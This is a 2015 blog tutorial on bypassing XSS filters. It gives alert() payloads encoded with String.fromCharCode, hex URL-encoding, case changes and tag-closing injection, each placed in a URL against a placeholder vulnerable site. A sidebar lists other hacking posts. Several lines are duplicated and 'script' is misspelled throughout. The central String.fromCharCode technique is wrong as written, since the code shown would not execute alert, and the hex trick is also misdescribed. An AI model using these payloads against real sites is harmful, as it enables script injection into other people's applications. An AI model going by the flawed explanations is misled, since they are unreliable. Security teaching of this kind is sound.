Tuesday, 6 October 2015
Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing
Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come)
.
Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert(“hi”)</script> , the Filter will escape the “(quote) character , so the script will become
For eg: if you put the <scirpt>alert(“hi”)</script> , the Filter will escape the “(quote) character , so the script will become
<SCRIPT>ALERT(>XSS DETECTED<)</SCRIPT>
Now this script won’t work. Likewise Filters use different type of filtering method to give protection against the XSS. In this case, we can use some tricks to bypass the filter. Here i am going to cover that only.
1.Bypassing magic_quotes_gpc
The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ‘ (single-quote), ” (double quote) and \ with a backslash automatically.
For Eg:
<scirpt>alert(“hi”);</script> will be filtered as <script>alert(\hi\)</script>.so the script won’t work now.
For Eg:
<scirpt>alert(“hi”);</script> will be filtered as <script>alert(\hi\)</script>.so the script won’t work now.
This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg: alert(“hi”); can be converted to
For Eg: alert(“hi”); can be converted to
STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>. In this case there is no “(quotes) or ‘(single quotes) or / so the filter can’t filter this thing. Yes, it will successfully run the script.
String.fromCharCode() is a javascript function that converts ASCII value to Characters.
How to convert to ASCII values?
There are some online sites that converts to ASCII character. But i suggest you to useHackbar Mozilla addon .
After installing hackbar add on ,press F9. It will open the small box above the url bar. click the XSS->String.fromCharCode()
Now it will popup small window. enter the code for instance alert(“Hi”). click ok button. Now we got the output.
copy the code into the <script></script> inside and insert in the vulnerable sites
For eg:
HXXP://VULNERABLE-SITE/SEARCH?Q=<SCRIPT>STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</SCRIPT>
2.HEX Encoding
we can encode our whole script into HEX code so that it can’t be filtered.
For example: <script>alert(“Hi”);</script> can be convert to HEX as:
For example: <script>alert(“Hi”);</script> can be convert to HEX as:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Now put the code in the vulnerable site request.
For ex:
For ex:
HXXP://VULNERABLE-SITE/SEARCH?Q=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/
This site will convert to hex code: http://centricle.com/tools/ascii-hex/
3.Bypassing using-obfuscation
Some website admin put the script,alert in restricted word list. so whenever you input thiskeywords, the filter will remove it and will give error message like “you are not allowed to search this”. This can bypassed by changing the case of the keywords(namely Obfuscation).
For eg:
<SCRIPT>ALERT(“HI”);</SCRIPT>
This bypass technique rarely works but giving trial is worth.
4. Closing Tag
Sometimes putting “> at the beginning of the code will work.
“><SCRIPT>ALERT(“HI”);</SCRIPT>
This will end the previous opened tag and open our script tag.
Example:
Example:
HXXP://VULNERABLE-SITE/SEARCH?Q=”><SCRIPT>ALERT(“HI”);</SCRIPT>
Conclusion:
From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.
Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.
Disclaimer:
This article is intended for educational purpose only.
Subscribe to:
Post Comments (Atom)
Search
Followers
Popular Posts
-
Bypassing UAC with PowerShell Recently during a Red Team engagement, I got shell access to some user machines using Client Side Att...
-
Go to Start > Run > type " regedit ". Once in regedit go to [HKEY_CURRENT_USER\Software\Microsoft\Window...
-
You Have To Follow These STEPS: 1. Open notepad and paste the following code in it. 2. Change the password in place of (qwe...
-
If you want to hide a folder named ABC in your C drive. Just follow the steps as given below :- STEP 1: Goto Run and type cmd. S...
-
So Here Is A Trick Now U Can Chat With Your Friend Through Command Prompt.. You need only your friend IP address.. Open Notepad and ...
-
Note: This Article Is Not For Noobs! Learners Are Welcomed! This Article Is For Educational Purposes Only, Any Misuse Of Information Give...
-
SyntaxNet: Neural Models of Syntax. Installation Running and training SyntaxNet models requires building this package from source. Yo...
-
This article is a quick, comprehensive guide on setting up your newly installed KaliLinux2.0 (very attractive new GUI by the way) for secu...
-
This trick will allow you to create files and folders without any name. Just follow the steps as given below : 1) Select any file...
-
Just follow the steps as given below : Step 1: Create the shortcut for the folder or tool for which you need to create the shortcut. ...
Blog Archive
-
▼
2015
(72)
-
▼
October
(34)
- What Is the Difference: Viruses, Worms, Ransomware...
- Kali Linux (MITM ATTACK)
- Brute Force Facebook Passwords (99% Working!)
- Denial Of Service Attacks : Explained for Beginner...
- Wifi Hacking - WEP - Kali Linux Aircrack-ng suite
- Hacking Website with Sqlmap in Kali Linux
- How To Open CMD In Desired Folder
- How To Lock And Unlock Your Computer With Pendrive
- How To Lock A Folder Without Any Software
- How To Make An UnDeleteable Folder
- How To Hide Text Behind The Images
- How To Hide Data In Notepad
- How To Hide Hard Drive Partition
- How To Hide A Folder Without Any Software
- How To Hide A Folder Using Command Prompt
- How To Enable God Mode In Windows 7,8,8.1 or 10
- How To Enable Registry Editor Which Is Disabled By...
- How To Enable Registry Editor Which Is Disabled By...
- How To Enable Registry Editor Which Is Disabled By...
- Some Important DOS Commands Which Makes You a Bett...
- How To Disable Right Click On Desktop
- How To Create Own Run Commands In Windows
- How To Create Folder And Files With No Name
- How to Block Websites Without Any Software
- How To Access Your Folder As a Drive
- How to Encrypt Your Browser Sessions in Linux
- Hacker Fundamentals: The Everyman's Guide to How N...
- Creating Virus That Format C Drive
- Stupid Geek Tricks: Make Your Own Fake Virus with ...
- Advanced XSS Tutorials for Web application Pen Tes...
- How to hack windows XP machine using MS08_067_NETA...
- Kali Linux Commands Cheat Sheet
- How To Crash WhatsApp With Just One Special Message
- Bypassing UAC with PowerShell
-
▼
October
(34)
Text Widget
Powered by Blogger.
0 comments:
Post a Comment